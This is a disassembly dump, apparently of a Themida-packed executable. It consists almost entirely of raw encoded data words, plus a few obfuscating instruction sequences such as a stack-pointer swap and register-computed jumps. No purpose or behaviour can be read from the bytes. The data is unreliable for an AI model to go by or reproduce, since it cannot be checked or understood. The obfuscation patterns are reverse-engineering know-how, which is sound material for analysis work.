dd 24EC99CFh, 7C97447Ah, 0C51DEC22h, 0E90746A9h, 4F066C07h
dd 3ACA96F3h, 0E907401Eh, 59BA0F07h, 0EB91BA45h, 64B949A2h
dd 0EBBF1ADh, 0E4109B03h, 7E9067Ch, 0D3910D06h, 6E61B7ABh
dd 0B2BA5994h, 0D5000002h, 7A275D41h, 23D00698h, 0C976ACF2h
dd 75225846h, 98CC029Ch, 8915FCE3h, 306EA653h, 0DBC34DFAh
dd 831BF8A5h, 0A267E4Dh, 7E908A7h, 0BCB067CDh, 4EF4AA67h
dd 34C49CEDh, 0E9073A18h, 840F6807h, 0E905F158h, 335ABB07h
dd 0A203CDC0h, 28DF68Fh, 0A12C729Dh, 842CE60Fh, 0DDE49E1Fh
dd 407691A5h, 19E43h, 729EF300h, 0A7CF862Ch, 42A7326Ch
dd 0E83DCDD1h, 0C2EB7628h, 0C7DDE1Ch, 0EA8C454h, 0B407E0AEh
dd 0ADB51834h, 82DB07E0h, 0FB628E19h, 507E0ACh, 0D1FBCA84h
dd 0DE3E09FBh, 0BC8C32C7h, 406EC984h, 4822h, 96F3B300h
dd 501E3ACAh, 4E07E09Ch, 92565F5h, 7E09BA6h, 43CE73CCh
dd 1A7D05Bh, 9BDB426Eh, 64E507E0h, 0A76BA3AAh, 0D409406Eh
dd 0B9000000h, 93754F79h, 5F620BB8h, 0E15B90F3h, 0CD5DB607h
dd 0E15B4EB1h, 751B7407h, 326CA7BEh, 0E06778A2h, 0CE777AAAh
dd 0E1309528h, 46CD32BDh, 0AB68CD58h, 0C049BDF3h, 97FFE774h
dd 29CED042h, 42DB8E6h, 3C62B15Eh, 51446E06h, 0FF627EA0h
dd 25FFE698h, 0DAA552CCh, 97F253F9h, 911C828Dh, 536FFF68h
dd 7E3B37Dh, 0A4B03FA9h, 944740F3h, 0CB469B2Bh, 21F09DD3h
dd 8DA9CE41h, 7E3402Ah, 2D96FF58h, 6076056Fh, 4CEB269Eh
dd 14Dh, 8CC2DC3Ah, 356B33DFh, 0DB118D88h, 87BDE12Eh, 316737DAh
dd 0B25F48FDh, 0B09B6ECh, 60B05D93h, 0B85B083Eh, 89E1B0E6h
dd 0E9090A6Dh, 1BD23807h, 0B80D6AA7h, 78DB4757h, 9EFFE683h
dd 29920C09h, 36DD8AC0h, 0A77B3268h, 42A7326Ch, 3697CDD1h
dd 287D0D53h, 29B4EAh, 0A5A6C25Ah, 0C007E0D2h, 4FF5A96Bh
dd 0DD1DAD06h, 0DD7CAB3h, 31AB3557h, 342C6FFh, 4B15790h
dd 0DFBF550Dh, 7EA84076h, 0B95B7043h, 0B7315AE5h, 0CD73C91Fh
dd 0E0C1F259h, 4757BC07h, 0F1AD6411h, 0AFC766h, 0F3600000h
dd 1E3ACA96h, 7E9073Ch, 0CF58F11Bh, 0BC8B79Bh, 38C31C65h
dd 285E40D3h, 7B06987Bh, 633BD62Bh, 31FAFD8h, 7E8C2A0h
dd 53C76DC6h, 705D4043h, 3418D20Bh, 0DC89BFDFh, 0BAE42B37h
dd 0A297C151h, 50B3CF51h, 76605D4Bh, 0B535A31Dh, 0EB50E389h
dd 0D4375324h, 2605CAEh, 9AFD19A9h, 0C8605CAEh, 167B066Fh
dd 0AF149FFFh, 54AD3866h, 0E7B9611Bh, 0E03504BEh, 1AC76D31h
dd 0F3AB69F9h, 0ADE44763h, 0B912605Ch, 0A66D1A50h, 0D32868F8h
dd 0A8D15C42h, 5CAED93Ch, 8AE0760h, 0FD675h, 398E0000h
dd 0D63BC6D8h, 0B1DA6539h, 0BBEBA248h, 2F6FA75Ch, 0CAD43FA4h
dd 6836DA3Fh, 29C78DDh, 9FFF1277h, 3C62AF14h, 0DBC34CB1h
dd 742AEB50h, 108E84E9h, 54565285h, 4C6815Eh, 83000000h
dd 348704EEh, 89505C24h, 405E0h, 42D0000h, 87000000h, 895C2404h
dd 89532434h, 4C381E3h, 83000000h, 1C8704EBh, 1C895C24h
dd 1FBD6824h, 0C890000h, 794B924h, 36BE5C01h, 1AC017Ch
dd 8B5459CEh, 0C481241Ch, 4, 6BBA5256h, 313CDB23h, 5A042454h
dd 8108438Fh, 236B0873h, 34FF3CDBh, 0C4815B24h, 4
; ---------------------------------------------------------------------------
mov esi, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_58B334
; ---------------------------------------------------------------------------
db 0Dh
db 27h, 0B8h
; ---------------------------------------------------------------------------
loc_60BCDA: ; CODE XREF: Themida_:0060B7E8j
mov eax, 8028805h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 78h
dd 824EFB87h, 0F86D5C23h, 7455FF87h, 813F0F55h, 0F01AAF94h
dd 0F86DEBECh, 72160DF1h, 7E64EE53h, 4421C331h, 424D04B7h
dd 0E53B41C7h, 0D454325Ah, 0E859491Ch, 6, 5A9A55B1h, 0DA808771h
dd 860F580Bh, 6, 46F0F381h, 0C0811E36h, 6C3Dh, 1CBA6660h
dd 0F0815346h, 45300817h, 68615Bh, 0F000000h, 583h, 0E6805000h
dd 665F5ECCh, 0FF4463BEh, 0ECBA0734h, 5961E844h, 18F0Fh
dd 81F80000h, 0C057A9F1h, 0F1812Dh, 0F801CD94h, 6C55F181h
dd 0BF0F4D98h, 8A5251F6h, 48F5AD3h, 0CA816638h, 8B5237F0h
dd 0EF835BF3h, 0DB806002h, 0F7816646h, 4F61B1B0h, 9EC2814Fh
dd 8118C468h, 0FF945CFFh, 0A8850FFFh, 81FFFFFFh, 313B62DBh
dd 11E913h, 8DF00000h, 33ECh, 2 dup(0)
dd 0E9000000h, 4ECh, 8CC2DC3Ah, 356B33DFh, 0DB118D88h
dd 87BDE12Eh, 316737DAh, 0B25F48FDh, 0B09B6ECh, 60B05D93h
dd 0B85B083Eh, 89E1B0E6h, 0E90C0A6Dh, 1BD23807h, 0A7326CA7h
dd 0E0BECF42h, 7E5323E3h, 70083EA7h, 77B11430h, 0F1A6FFE7h
dd 8CB334FFh, 0F36DC607h, 7BC82E85h, 7C29CFFFh, 177C0797h
dd 0E4A966FCh, 6AA1C05Eh, 0CA55BE14h, 48AD38A1h, 0F049D4CAh
dd 0FA19FDB7h, 4FC16EA4h, 0A46C194Fh, 0A0A6FFAh, 37770994h
dd 0E5702EE2h, 0DB9516BCh, 4F8519F7h, 0EBB362B7h, 237B9845h
dd 0D066C98h, 0C637FFE7h, 19CD050Ch, 586B3875h, 0FC000000h
dd 0F2AC67BCh, 0EE749F4Ch, 0C3EC7727h, 3EA3CF5Ah, 6BFFE683h
dd 13940FAh, 0E838748Fh, 91217D93h, 0E6771275h, 41E740FFh
dd 160h, 6BA7F100h, 0CF43A833h, 30DF44CFh, 518AE36Eh, 3F5FB397h
dd 0D6B75C09h, 2F80A03Dh, 0E41A8308h, 8DF00C4Ch, 0B3FFE701h
dd 0A7FDB45Ah, 44A9346Ah, 0E045D0CEh, 7CE16C32h, 2B7D0896h
dd 44A04802h, 9C755913h, 2BC813F1h, 22BB6E8h, 43B5EF88h
dd 20F54ADAh, 24CAF37Eh, 0C4DA39E6h, 5D41D439h, 0FBA36DD2h
dd 98060B70h, 0D892BB0Dh, 904ACB30h, 74B54189h, 65DF38h
dd 3A8F0000h, 113AC5D9h, 6AA7B46Bh, 0D144A934h, 0B0E942CDh
dd 9FFF12F6h, 4955BC69h, 0E8B659BEh, 4BA0385Dh, 2049D4CAh
dd 383FF97Ah, 387488F0h, 0D5D7ADD7h, 91AB3D1Ah, 4F000C17h
dd 0B55BFE07h, 45D4h, 6AA76500h, 0CC44A934h, 0C20347D2h
dd 0B1ED2408h, 5FB7E121h, 9597A24Dh, 8F1C7FEBh, 0F14AFFE6h
dd 0A7560D4Bh, 7CA8336Bh, 0FFE68316h, 0E16C32E0h, 7D08967Ch
dd 0A048022Bh, 3037F162h, 38748EF8h, 196h, 6EA72700h, 0CA4BA030h
dd 7A2049D4h, 0D9182E7h, 86B0F082h, 0E9F945B6h, 16973DDEh
dd 19D785Ch, 411F6ACBh, 0EF3795B1h, 0E36307E0h, 0E0C564C7h
dd 0D0399207h, 6B33E045h, 6AF0B1DBh, 0BC196833h, 0E82BD816h
dd 0B1DB2BB6h, 40D0CFB8h, 305E45Eh, 0DA3FB359h, 0C107E0FCh
dd 31E2C680h, 759F376Dh, 97A6CC63h, 9845EB88h, 4898237Bh
dd 8289EC08h, 22B707E1h, 9E44ADF1h, 0F17C22F1h, 6EAA4D5h
dd 8B5B910Dh, 406F8E53h, 145F1h, 96F38200h, 0C81E3ACAh
dd 0D607E0B8h, 868DF27Dh, 0DE35E218h, 0B81A7D99h, 0EF4807E0h
dd 7D96FB86h, 0D53C9121h, 6F153EC9h, 19D77DCh, 9B031176h
dd 0F47F1FF6h, 45EDA7D8h, 1AFEB8E9h, 2FC994F9h, 206DCC0Ch
dd 79B181B7h, 17406F73h, 4Ch, 86B87C7h, 2E07E15Bh, 0F3782FD5h
dd 1A36C69Ah, 7FE68397h, 3EA1BD3Dh, 647FE682h, 0C717A20Bh
dd 8DD14A9Dh, 5E048DB0h, 0E58787EAh, 79335C7Fh, 24B4ACE1h
dd 18868FE4h, 4ABE648Dh, 0FFE586C7h, 0E7B758EDh, 0AB61487Eh
dd 0FA000000h, 3ACA96F3h, 0E09AB41Eh, 12C83207h, 0A5FA55B9h
dd 9FA80B27h, 75CE07E0h, 0BE13A30Ch, 95BE4955h, 1CF75CEFh
dd 779DF282h, 304C9C27h, 7E09FCDh, 8B319AF3h, 1A73A04Dh
dd 0AF61AA1Eh, 0ECAAF2D2h, 8AF84FEh, 0E30F9A03h, 7E1037Bh
dd 492DE728h, 237B98CAh, 3DD52ABAh, 45AEF025h, 832975A0h
dd 0BBA5E445h, 7D96EB2Bh, 0C76D9621h, 0E38B6953h, 27E87D0Fh
dd 49C3EC77h, 0F32EC5EBh, 4EDE4741h, 0BAD68D24h, 0DECF3B9Eh
dd 9610690Fh, 0C86EDC1Ah, 5B43D035h, 5B153ED0h, 0B55EC6C3h
dd 0CC355EE9h, 5F36203Ch, 53AC17E1h, 96F3661Dh, 341E3ACAh
dd 0B207E90Dh, 0AA69CE59h, 20F64F4h, 0BB8F69Ch, 0B1069608h
dd 94F71364h, 0C207E90Ch, 0C75A0069h, 0D70F509Bh, 0BC5FE43h
dd 7CB2EC27h, 0CA5A44CFh, 0D0B6E8Ah, 0E03933D3h, 0CD42A73Ah
dd 25EC41D1h, 0AE40D379h, 2CE7CB85h, 86A2E272h, 33D30D23h
dd 1452F851h, 67F2AC67h, 514DC217h, 10F79DC6h, 32h, 0EE9F73C8h
dd 0DD398BF6h, 22C8316Eh, 607CBC6Bh, 0FFE682FDh, 8355B8D4h
dd 227BFFE6h, 49E288E1h, 4AADC909h, 3FFFE683h, 0DDECD7A9h
dd 97F031C3h, 6FA73AF1h, 0D43FA42Fh, 36DA3FCAh, 9C78DD68h
dd 0FF127702h, 62AF149Fh, 0C34CB13Ch, 2AEB50DBh, 8E84E974h
dd 68528510h, 1660h, 57242489h, 4BFh, 247C0100h, 89535F04h
dd 4C381E3h, 83000000h, 1C8704EBh, 1C895C24h, 563D6824h
dd 14890000h, 4EC8324h, 0BF243C89h, 8028993h, 815FFB89h
dd 4ECh, 24248900h, 4240481h, 5A000000h, 8904EC83h, 428F241Ch
dd 24148B08h, 81E28952h, 4C2h, 4C28300h, 5C241487h, 5B2434FFh
dd 4C481h, 7DE90000h, 0BEFFF7F0h, 16E3349Bh, 0C4A46B13h
dd 28DFEB8h, 0FFC50308h, 2806D7E0h, 0DA570961h, 0EA962225h
dd 0C29BC443h, 5025207Dh, 0E4BD22Bh, 0D7E1102h, 0C71ED21Dh
dd 0D117782Ah, 0D2D3725Eh, 20B1FE7Eh, 54691A44h, 0C6C18677h
dd 77DBD041h, 33913832h, 8068895Ch, 785B6F67h, 415E7849h
dd 0E048E97Ch, 29603400h, 883C693Ah, 4D8A5E35h, 0D956C518h
dd 0DAC4AC68h, 8EA61B65h, 2BE954h, 33250000h, 75AAh, 9 dup(0)
dd 5E7E900h, 4EC80000h, 0A56D1A50h, 0FF16C3F9h, 53BC699Fh
dd 0A968154Bh, 0D68BBFF5h, 447A24EDh, 0EB217D97h, 96CCD23Eh
dd 3E742AE9h, 98FB176Fh, 0BE07E912h, 6CA7A158h, 257A732h
dd 39E68C12h, 0E136C6D8h, 8BC96F2Fh, 365835DEh, 5C317903h
dd 76D9F585h, 9CFFE755h, 0FF4FDA43h, 0AC3767AAh, 0E330DD83h
dd 55157894h, 0E23BFFE7h, 499EEE79h, 8330D6C8h, 2B840F8Fh
dd 0BF5438F2h, 0D4254FDFh, 579B1782h, 5E0B49EFh, 3F5FB0B2h
dd 9A25799Ah, 25D20871h, 49A77EBh, 5CE75079h, 0F6811DF7h
dd 9D813B64h, 48F52B73h, 1C48D3CBh, 0FFE751B6h, 840F8F80h
dd 20ABF31Fh, 43EBA5CEh, 0E6537D05h, 6CCE295Dh, 8712DE6h
dd 2027E162h, 387571E8h, 6987ACFh, 0CBAC527Bh, 6Eh, 607CBC5Ch
dd 0FFE682FDh, 7724CA23h, 4B77029Ch, 0FFE682E6h, 19E8A213h
dd 0C24D51C4h, 0EB23F399h, 8938748Eh, 1, 277CBC1Ah, 0E74AB6E8h
dd 0D4FFE682h, 5D764033h, 1770B118h, 504EC471h, 0B0B260C5h
dd 7C973C62h, 0DE2EB922h, 88138B89h, 30CB95Fh, 7EB7109Bh
dd 72A0F5C4h, 39D9862Ch, 91822F65h, 3BE7F8FCh, 55BEB66Ah
dd 67BC681Fh, 4A66F6A8h, 0FFE682E7h, 610EB40Dh, 48ABC7B0h
dd 6EFFE683h, 0BC21AC15h, 58BD4856h, 0F358E3BBh, 0D8F47F1Fh
dd 0E945EDA7h, 0F71AFEB8h, 83016480h, 0D62FFFE6h, 898A376Dh
dd 0F0258A15h, 47C91EAEh, 0FDA3CC57h, 0AC4456Ah, 7489BB03h
dd 0CD5938h, 0A7EA0000h, 8EF10D6Ah, 0B4FFE683h, 41AAF41Fh
dd 2DE84DD8h, 0CDB7E171h, 3871083h, 49A235DBh, 9F725610h
dd 0DA2F6FFFh, 97FA6638h, 0BDFFE6FCh, 0E880BE64h, 0FC298CA8h
dd 0FE57FFE6h, 0FBEF526Eh, 0BC15FFE6h, 0BAA86916h, 6CBC4757h
dd 0E6FBED50h, 51BA13FFh, 17F85DE8h, 91ADCA4Bh, 0FFE6FC2Eh
dd 792FB54h, 0A5E575DEh, 0E6FC2689h, 60D913FFh, 8BA1371Ch
dd 0B84BF14Ah, 89581293h, 9ACA2D49h, 9FF8FFE6h, 0FB8618FAh
dd 145C2CD2h, 0B23874A0h, 74h, 0AB67BC43h, 0E44763F3h
dd 12FFE682h, 0AB6613B9h, 0EE12ABE2h, 0F35C1208h, 9A040E63h
dd 0AD40E60Fh, 4BD6C848h, 0E7722CE6h, 800B9382h, 8C34EE27h
dd 290DC708h, 8967AE8h, 0A7B2699Fh, 7CA8336Bh, 0FFE68316h
dd 0E36E30E0h, 800B937Eh, 0D1793364h, 61682293h, 38748F29h
dd 17C7h, 594D7700h, 4B2E9C95h, 49D4CA46h, 0B27B720h, 0FFE644A8h
dd 18CF75CEh, 0A5306EA7h, 89150055h, 822FD5FEh, 0F0820D91h
dd 0E7B75BB0h, 2206C041h, 0DB1BABF3h, 0E6835CBFh, 8B318AFFh
dd 0C39DEC4Dh, 9AB91733h, 419607E0h, 1841CCD2h, 9A096C88h
dd 0DE3707E0h, 0FE85EF38h, 0BA79418Ch, 94D464CDh, 0B3D53854h
dd 0A2FB07E0h, 0E0B3D336h, 2A80107h, 95090A6Fh, 161B25Fh
dd 0DA038E10h, 85A1E171h, 7E0B322h, 0C152F750h, 78A437DDh
dd 7E0B313h, 0BF51A6FEh, 852B54DFh, 0AD664A04h, 50EBBF1h
dd 6AA90E99h, 5C8DA934h, 4955BEA2h, 0BF0B4313h, 0C8F2406Eh
dd 412FFEh, 0CDAE54DDh, 183h, 7F1E537Dh, 9DBD4961h, 96F340F7h
dd 0B41D818Eh, 0B8B20824h, 4BE007E0h, 254ED9C5h, 47CC31BCh
dd 1B50D846h, 4DB6AB62h, 0F7A768BDh, 3EC9436Ch, 0AA9581D7h
dd 580543E9h, 3DA0BCBBh, 6307E0A4h, 0F3AB650Ah, 85AFFF8Ah
dd 9C244DE1h, 9D4AF09Ch, 7A24EC76h, 0F4218611h, 5ABA1FAAh
dd 3E67B944h, 3880DC84h, 0E5702EE3h, 0DB9516BCh, 0F2821CF7h
dd 774034C8h, 2ED40280h, 6E820F0h, 3186406Fh, 17000000h
dd 36C69AF3h, 0E683971Ah, 54E43D7Fh, 8295F814h, 62BB7FE6h
dd 9AFD29BCh, 777FE682h, 91FC944Eh, 0A82B47D7h, 0EFFE682h
dd 0D0987FB5h, 31000000h, 87A396F3h, 0FFE68324h, 8384E703h
dd 59B2FFE6h, 0C656BF18h, 0C36A5C86h, 0C0926CADh, 0E68AF154h
dd 20C61FFFh, 0A2026C88h, 679107E0h, 3DE0359Dh, 0A2EB914Bh
dd 119C020Dh, 8FF47FE8h, 37E41A84h, 1C7F9BDCh, 4A07E144h
dd 0D1FD88F1h, 7E14569h, 1DA8F619h, 0B9445AB8h, 666A237Fh
dd 9C200BCCh, 75F9A15Bh, 56AB7A34h, 2F58E3BBh, 6737DC89h
dd 556F9931h, 0A5F998F9h, 4346A74Dh, 0DB388D1Dh, 690F38C3h
dd 2E3FB5D1h, 328B0FE3h, 0CDD142A7h, 1B70B042h, 8203A9F5h
dd 0F65930C8h, 0BB95EB52h, 16A60F2Dh, 0E1B684FAh, 67E85217h
dd 44BAA1Ah, 51A6369Fh, 2C55E0BEh, 86B04886h, 27EE4AD6h
dd 0A5FFD77h, 0A40723B3h, 0D207E103h, 0F31CD379h, 1E3ACA96h
dd 7E912A8h, 252DD36h, 1143A6C2h, 187107E9h, 504EC572h
dd 0F8A66D1Ah, 12F31D6Dh, 0E62555A3h, 45FD379h, 0CA859185h
dd 20F3D791h, 65CED042h, 0D191822Fh, 6AF55E40h, 9940A05h
dd 0DBF73777h, 75917D78h, 6E0C365h, 0B7F809A4h, 7D37B85Eh
dd 29E87A99h, 58C1EA75h, 9E7522h, 0AD675h, 0BC6F0000h
dd 67F2AC67h, 0A0FF983Eh, 0A42F6FA7h, 3FCAD43Fh, 0DD6836DAh
dd 77029C78h, 149FFF12h, 0B13C62AFh, 50DBC34Ch, 0E9742AEBh
dd 85108E84h, 0E1895152h, 4C181h, 0E9810000h, 4, 5C240C87h
dd 52241489h, 0C281E289h, 4, 8704EA83h, 895C2414h, 0AC68241Ch
dd 89000046h, 0B9512404h, 8028F21h, 89CE8956h, 83595EF3h
dd 248904ECh, 24048324h, 81535804h, 43D7242Ch, 408F652Eh
dd 8408108h, 652E43D7h, 5324048Bh, 0C381E389h, 4, 4C381h
dd 1C870000h, 34FF5C24h, 0C4835B24h, 0E9F6E904h, 4634FFF7h
dd 0E8FC95B3h, 37DA6B19h, 9480B869h, 0C5030802h, 970DE0FFh
dd 90D0172Ah, 9039108Ch, 54100B5Bh, 92FB4F70h, 81CB066Dh
dd 8D8D484Ah, 80295FDh, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 15h, 0CDC35040h, 10E976h, 76FC0000h, 304CD9h
dd 0DDA731D2h, 6EC1F284h, 0CBF0277h, 664AF05Ah, 8D89F18Bh
dd 7FA1CD9h, 0E398589h, 85C707FAh, 7FA31ADh, 5924h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0F8C35141h, 6642515Bh
dd 0E87DC281h, 2BD985C7h, 7FAh, 0B5FF0000h, 7FA0E71h, 1BD5950Bh
dd 0DF8B07FAh, 179995FFh, 6A07FAh, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 170424h, 52420000h, 2C931BC3h, 8952609Eh
dd 0FA2AAD9Dh, 880F5807h, 6, 189DB589h, 6A6107FAh, 1995FF00h
dd 8B07FA10h, 8A3FEBC0h, 60A5AE26h, 0A237BD94h, 9C39C401h
dd 0F25B83F1h, 550DAEDEh, 41FD374Eh, 4922AC36h, 0E7B13378h
dd 0AC2C6962h, 98037F50h, 0EE9D268h, 33C10E4h, 927DC0C7h
dd 0CB095E05h, 0A5A197CFh, 36E9A6A9h, 1000000h, 5224FCF2h
dd 6C416C74h, 61636F6Ch, 65486574h, 7061h, 1400h, 7 dup(0)
dd 114AE900h, 0D1680000h, 0E9080298h, 0FFF7E868h, 299B568h
dd 0E85EE908h, 968FFF7h, 0E908029Ch, 0FFF7E854h, 29CD168h
dd 0E84AE908h, 0FD68FFF7h, 0E908029Fh, 0FFF7E840h, 2A0BD68h
dd 0E836E908h, 0FC68FFF7h, 0E90802A0h, 0FFF7E82Ch, 2A1F868h
dd 0E822E908h, 0A168FFF7h, 0E90802A2h, 0FFF7E818h, 2A31368h
dd 0E80EE908h, 0C968FFF7h, 0E90802A4h, 0FFF7E804h, 2A63568h
dd 0E7FAE908h, 76A0FFF7h, 0CD45F228h, 27EE9BD1h, 7B944177h
dd 0D140ED23h, 0AE6397CDh, 1C524CC5h, 0C3F9A56Fh, 6EA4FA16h
dd 164C52C1h, 70D3EF47h, 9607E919h, 6CA77930h, 1C250421h
dd 72FA9F5h, 67F25B6Ch, 58BBD717h, 7EFFE765h, 657FE2FEh
dd 4CA5FFE7h, 83903DE3h, 0E52B901Bh, 739C2EB9h, 603ED5B9h
dd 0A947D2Ah, 0BB1E3A7Ah, 0E9FFE765h, 14ACEA90h, 6555B8D4h
dd 227BFFE7h, 825E3FA8h, 0D3793125h, 26B1ED26h, 92552C1h
dd 0FFE72AA6h, 0C3DB37CCh, 3DA60F38h, 0D4B958ADh, 60592716h
dd 0C04BB412h, 52B3F197h, 7D992937h, 7E135E3h, 96E686B0h
dd 2B41D729h, 69A73C85h, 1C829035h, 98D828B3h, 0E13B197Ch
dd 49EE4707h, 224BD6C8h, 3BA1087Ch, 2AAB07E1h, 43316970h
dd 46CF406Fh, 7F000000h, 33C0233Fh, 8DE607E1h, 96F330E7h
dd 0DEFA3ACAh, 0FFE6837Bh, 90D1CD45h, 0DDF99137h, 7E09C0Fh
dd 0FB27B20Bh, 7E09B94h, 0AAC6069Eh, 7E09B47h, 0ED6E146Dh
dd 0A6F42C33h, 86DB406Eh, 8D6E148Ah, 0EFh, 0F66CA71Eh
dd 0CFCF441Eh, 49B2DB66h, 0E6B859BEh, 451DF65Bh, 207E92D0h
dd 9A032CB7h, 0F969AA0Fh, 0DAF68618h, 0FFE68377h, 0A5DB449Dh
dd 0E688A931h, 533AD9FFh, 18DA5897h, 0C0DC6C5Ah, 0FFE7535Dh
dd 8BC12A83h, 225835DEh, 85D96517h, 117A24F1h, 85041DA8h
dd 1EF64BDBh, 52CCF580h, 49DEB99Bh, 5FF79DA9h, 4744F51Fh
dd 0B1545D87h, 6DF9970Bh, 4CA507E1h, 0FF4E92BCh, 0A83D5491h
dd 2663C402h, 3694F713h, 69C207E1h, 0DB307000h, 0B0D9643Ah
dd 1853960Ah, 28810FDEh, 0D0CE4398h, 65AD029Ah, 2BE69339h
dd 38C3DB37h, 4DE8A60Fh, 0DE998564h, 0E4904A3h, 9E780000h
dd 0F51DCA00h, 4FC673A9h, 0A36C194Fh, 0F918C5FBh, 863B6FA5h
dd 0F42A749Dh, 9BD1CD47h, 467C22EEh, 0EE247A99h, 48ABC71Fh
dd 6E07E91Bh, 6AA75108h, 0C251FE34h, 0F3EFA6DCh, 1E3ACA96h
dd 7E09C50h, 3B8EE44Eh, 9AE546D1h, 137AA631h, 1D07E0DEh
dd 0A3DBE29Ch, 41406EEAh, 0D1h, 326CA7D2h, 43FB78A2h, 4205EE3Eh
dd 0DCEA99C8h, 8F35EAE1h, 0FD7A97FCh, 0E6E47EE1h, 0A64BA4FFh
dd 7BA42F6Fh, 52588212h, 0F6BD9544h, 0ACD86B11h, 0FFE6F524h
dd 59E9B55Eh, 1910D04h, 0E6EC82E5h, 0B157B0FFh, 514DC673h
dd 84DCADC6h, 0D3AD8F4h, 0F6807E1h, 4F1178D9h, 0AB4FA3BFh
dd 0FE570FDDh, 0AF122E6Eh, 71FFED19h, 61BAFBA3h, 0BC4757BCh
dd 55ED93h, 0AA578D11h, 0E6793767h, 659985A3h, 0D658B2Ah
dd 0BA5C0000h, 1101AEE4h, 6BAA578Dh, 0BF50FD33h, 15FCA9DFh
dd 6A1F5389h, 0D80E9081h, 7FB5E92Bh, 2A603ED2h, 0D208967Dh
dd 2C8FAB03h, 5A07E91Ch, 6AA73DF4h, 838EF10Dh, 0C450FFE6h
dd 0D74099DAh, 7F1FF4A1h, 247A9AEFh, 8CCA7099h, 326CA7D5h
dd 0CDD142A7h, 83BC2397h, 8D86FFE6h, 0E52EDB11h, 3BD429B9h
dd 6C88D863h, 0FFE68309h, 0CF75DE37h, 623CD73Ch, 137692D2h
dd 41FFE683h, 93AF42E8h, 4FC4A862h, 0A76ABF4Fh, 0BE4955BBh
dd 78A12C95h, 0D5D592FEh, 0D67CBB28h, 0ED60098h, 0B4EA26ABh
dd 0EA1F963Ah, 253C7444h, 0C2DA3875h, 6B000000h, 3ACA96F3h
dd 0E0A5401Eh, 75055E07h, 5B04184Bh, 680EE5BAh, 0E33085D5h
dd 3AA115BBh, 407E0DFh, 9F048F0Fh, 5B9F2A74h, 53B8601Ah
dd 0D91118D2h, 77406EE6h, 89h, 87D7FD27h, 9F964B1Ah, 7AE042F9h
dd 90FFE683h, 0BBD767F9h, 7E0AD7Dh, 40801069h, 0EA7529EBh
dd 0ACF255C1h, 0C72007E0h, 0EE74AB4Dh, 24CA4A76h, 0D9244EE6h
dd 8D611C06h, 0AF620FB5h, 0D41464EFh, 86157894h, 0E23B07E0h
dd 0E0861376h, 69AC4107h, 1881AA35h, 0E8781172h, 974A3C58h
dd 3F980FDAh, 15317109h, 0FFE696B2h, 0DBF787E0h, 0FFE69678h
dd 0F29F459Eh, 0DCF5801Eh, 723B3ADh, 7E0A349h, 0FFE61C75h
dd 875h, 0AC67BC98h, 9EEB4CF2h, 0B2F232C2h, 0E6833396h
dd 620861FFh, 0E09B3CEEh, 46D12A07h, 0E09AB31Ah, 823CBD07h
dd 0E8B65EB3h, 0A23A7242h, 0E121406Eh, 0E09262C5h, 0B9E52C07h
dd 44C4052Eh, 0E092C528h, 2992EB07h, 0DA283h, 0E0330000h
dd 0FFE68379h, 0FBB0A07Fh, 0F339FFFFh, 1E3ACA96h, 7E09C3Ch
dd 5A86116Ah, 7E09AF3h, 0BBC27CFDh, 406EA383h, 49521h
dd 7591D100h, 7E09312h, 8A41E740h, 3C91727Bh, 0C324CAD4h
dd 0EE0A9AC6h, 7E089ECh, 0E04481DAh, 0B1A5BA58h, 3767AAFFh
dd 7CDD83ACh, 0A7C3530Dh, 0B61FD9D5h, 41DA801h, 2F4BDB85h
dd 0B1A93DA5h, 0E69AC41h, 1F388FF2h, 0F35CB5AEh, 46D63F68h
dd 0F47F1FF1h, 0BC1F3BCBh, 0EAAE1F38h, 0FE53EB91h, 0A6538915h
dd 0EA73316Dh, 5537BB80h, 0B117B1Ah, 66B00000h, 0BD550238h
dd 17FEABE1h, 6BA45187h, 0C150FD33h, 0BE73A7DDh, 2C623CD5h
dd 0D309957Fh, 7EB4EA26h, 265C42D1h, 80E3FF57h, 0A607E91Fh
dd 67BC8940h, 3C65F0AEh, 742AE996h, 1E808FE4h, 0BDCCE578h
dd 0E5FDA292h, 2891843Dh, 0E035898h, 36DC0590h, 0E1AE38C2h
dd 0C555AE07h, 0C8FEA070h, 1EA9F51Bh, 0E14D8FF2h, 5D238A07h
dd 503907E1h, 32648010h, 200FDB8Eh, 0A9103CC7h, 0B3FFE76Eh
dd 39717832h, 0D738757Ah, 18h, 0CA96F368h, 712DE53Ah, 0CD1733CBh
dd 0D907E090h, 1856F580h, 0EF000000h, 3ACA96F3h, 0E9742AE5h
dd 66821AC0h, 7E097A8h, 900E0196h, 0A72D9C27h, 0FF74326Ch
dd 4C998335h, 0A497211h, 9E780000h, 0F51DCA00h, 4FC673A9h
dd 0A36C194Fh, 0F918C5FBh, 863B6FA5h, 0F42A749Dh, 9BD1CD47h
dd 467C22EEh, 0EE247A99h, 48ABC71Fh, 6E07E91Fh, 67BC5108h
dd 2B65F0AEh, 70B4F771h, 0B55BC409h, 0E8043554h, 0FFE70285h
dd 59E952ABh, 0A97D1004h, 0B62AEC74h, 0D76F157Eh, 0E0C5D9BBh
dd 0AF84AE07h, 514DC7E6h, 4A32F6D7h, 77025BA4h, 679D0112h
dd 2C670DF3h, 0F46C212Fh, 342C5DBEh, 2ACA88A4h, 9FF82892h
dd 3B63AF14h, 14E281ABh, 57410325h, 771273B1h, 3A43A6C2h
dd 0DC712732h, 0B4DD6836h, 3652E24Bh, 2F2C6C04h, 94E979D2h
dd 0E87B217Dh, 0D2CC4398h, 4781E47h, 2098099Dh, 656C26A7h
dd 5926112Dh, 10ECBh, 96F35C00h, 3C1E3ACAh, 6A07E09Ah
dd 0E92C8111h, 5B012AB5h, 0EEB063C8h, 96080BB8h, 47AAC606h
dd 907E099h, 0F952930Bh, 0AE94C053h, 782F2BD3h, 1378039Bh
dd 0CF139E00h, 1FF0D48Eh, 447D167Fh, 316DA68Ah, 660477A1h
dd 4DFAF947h, 7CD169A7h, 0B6630995h, 8AB6415Dh, 47E32EA4h
dd 8F5E1841h, 33C3DB3Ah, 0E0CEB417h, 0E389E207h, 8BC1DD36h
dd 0E62D35DEh, 47C82DB8h, 0C649EE57h, 0CBE46FD8h, 0F30F9FC1h
dd 7E0CEB0h, 0A6073D96h, 0D1ED7DE3h, 0FDAF28Bh, 6ED35EB7h
